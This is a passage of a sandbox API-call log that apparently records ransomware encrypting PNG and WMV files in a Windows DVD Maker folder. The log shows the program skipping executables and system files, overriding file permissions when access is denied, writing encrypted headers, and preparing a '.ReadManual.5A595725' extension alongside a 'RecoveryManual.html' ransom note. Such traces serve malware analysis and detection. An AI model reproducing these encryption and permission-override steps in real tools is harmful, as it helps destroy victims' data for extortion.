Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.022] GetLastError () returned 0x5 [0252.022] GetNamedSecurityInfoW () returned 0x0 [0252.022] SetNamedSecurityInfoW () returned 0x0 [0252.022] SetNamedSecurityInfoW () returned 0x0 [0252.023] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.023] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2211) returned 1 [0252.023] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a3, lpName=0x0) returned 0x1a0 [0252.023] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.024] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.024] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.026] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.026] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a3) returned 0x2f0000 [0252.026] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.026] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37269468316) returned 1 [0252.026] CloseHandle (hObject=0x1a0) returned 1 [0252.026] SetSecurityInfo () returned 0x5 [0252.026] SetSecurityInfo () returned 0x5 [0252.026] LocalFree (hMem=0x674d38) returned 0x0 [0252.026] CloseHandle (hObject=0x184) returned 1 [0252.026] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0252.026] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-image-mask.png" | out: lpString1="16_9-frame-image-mask.png") returned="16_9-frame-image-mask.png" [0252.026] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="RecoveryManual.html") returned -1 [0252.026] StrStrIW (lpFirst="16_9-frame-image-mask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.026] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.026] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.026] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.027] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.027] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.027] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.027] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.027] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.027] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" [0252.027] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.ReadManual.5A595725" [0252.027] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.ReadManual.5A595725") returned 102 [0252.027] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37269568104) returned 1 [0252.027] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0252.027] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.027] GetLastError () returned 0x5 [0252.027] GetNamedSecurityInfoW () returned 0x0 [0252.027] SetNamedSecurityInfoW () returned 0x0 [0252.028] SetNamedSecurityInfoW () returned 0x0 [0252.028] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.028] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1551) returned 1 [0252.028] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60f, lpName=0x0) returned 0x1a0 [0252.028] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.029] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.029] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.031] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.031] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60f) returned 0x2f0000 [0252.031] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.031] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37269992011) returned 1 [0252.031] CloseHandle (hObject=0x1a0) returned 1 [0252.031] SetSecurityInfo () returned 0x5 [0252.031] SetSecurityInfo () returned 0x5 [0252.031] LocalFree (hMem=0x674d38) returned 0x0 [0252.031] CloseHandle (hObject=0x184) returned 1 [0252.032] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0252.032] lstrcpyW (in: lpString1=0x6ab90e, lpString2="babypink.png" | out: lpString1="babypink.png") returned="babypink.png" [0252.032] lstrcmpiW (lpString1="babypink.png", lpString2="RecoveryManual.html") returned -1 [0252.032] StrStrIW (lpFirst="babypink.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.032] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.032] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.032] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.032] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.032] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.032] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.032] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.033] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.033] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.033] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.033] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.033] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.033] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.033] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.033] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" [0252.033] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.ReadManual.5A595725" [0252.033] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.ReadManual.5A595725") returned 89 [0252.033] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37270160258) returned 1 [0252.033] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0252.033] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.033] GetLastError () returned 0x5 [0252.033] GetNamedSecurityInfoW () returned 0x0 [0252.033] SetNamedSecurityInfoW () returned 0x0 [0252.034] SetNamedSecurityInfoW () returned 0x0 [0252.034] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.034] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=19477) returned 1 [0252.034] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c15, lpName=0x0) returned 0x1a0 [0252.034] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0252.035] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.035] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.037] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.037] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c15) returned 0x2f0000 [0252.037] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.037] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37270588034) returned 1 [0252.037] CloseHandle (hObject=0x1a0) returned 1 [0252.037] SetSecurityInfo () returned 0x5 [0252.037] SetSecurityInfo () returned 0x5 [0252.037] LocalFree (hMem=0x674d38) returned 0x0 [0252.037] CloseHandle (hObject=0x184) returned 1 [0252.037] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0252.038] lstrcpyW (in: lpString1=0x6ab90e, lpString2="background.png" | out: lpString1="background.png") returned="background.png" [0252.038] lstrcmpiW (lpString1="background.png", lpString2="RecoveryManual.html") returned -1 [0252.038] StrStrIW (lpFirst="background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.038] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.038] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.038] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.038] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.038] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.038] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.038] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" [0252.038] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.ReadManual.5A595725" [0252.038] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.ReadManual.5A595725") returned 91 [0252.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37270687304) returned 1 [0252.038] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0252.038] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.038] GetLastError () returned 0x5 [0252.038] GetNamedSecurityInfoW () returned 0x0 [0252.039] SetNamedSecurityInfoW () returned 0x0 [0252.039] SetNamedSecurityInfoW () returned 0x0 [0252.040] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.040] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=52251) returned 1 [0252.040] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc1b, lpName=0x0) returned 0x1a0 [0252.040] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0252.040] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.040] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.043] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.043] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcc1b) returned 0x2f0000 [0252.044] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.044] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37271318493) returned 1 [0252.044] CloseHandle (hObject=0x1a0) returned 1 [0252.045] SetSecurityInfo () returned 0x5 [0252.045] SetSecurityInfo () returned 0x5 [0252.045] LocalFree (hMem=0x674d38) returned 0x0 [0252.045] CloseHandle (hObject=0x184) returned 1 [0252.045] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0252.045] lstrcpyW (in: lpString1=0x6ab90e, lpString2="bear_formatted_matte2.wmv" | out: lpString1="bear_formatted_matte2.wmv") returned="bear_formatted_matte2.wmv" [0252.045] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="RecoveryManual.html") returned -1 [0252.045] StrStrIW (lpFirst="bear_formatted_matte2.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.045] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.045] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.045] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" [0252.045] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.ReadManual.5A595725" [0252.045] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.ReadManual.5A595725") returned 102 [0252.045] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37271420196) returned 1 [0252.045] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0252.046] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.046] GetLastError () returned 0x5 [0252.046] GetNamedSecurityInfoW () returned 0x0 [0252.047] SetNamedSecurityInfoW () returned 0x0 [0252.047] SetNamedSecurityInfoW () returned 0x0 [0252.047] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.048] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=181298) returned 1 [0252.048] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c432, lpName=0x0) returned 0x1a0 [0252.048] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.048] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.048] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.050] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.050] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c432) returned 0x1de0000 [0252.055] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.056] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37272461552) returned 1 [0252.056] CloseHandle (hObject=0x1a0) returned 1 [0252.056] SetSecurityInfo () returned 0x5 [0252.056] SetSecurityInfo () returned 0x5 [0252.056] LocalFree (hMem=0x674d38) returned 0x0 [0252.056] CloseHandle (hObject=0x184) returned 1 [0252.056] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0252.056] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Bear_Formatted_MATTE2_PAL.wmv" | out: lpString1="Bear_Formatted_MATTE2_PAL.wmv") returned="Bear_Formatted_MATTE2_PAL.wmv" [0252.056] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0252.056] StrStrIW (lpFirst="Bear_Formatted_MATTE2_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.056] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.056] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.056] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.056] StrCmpIW 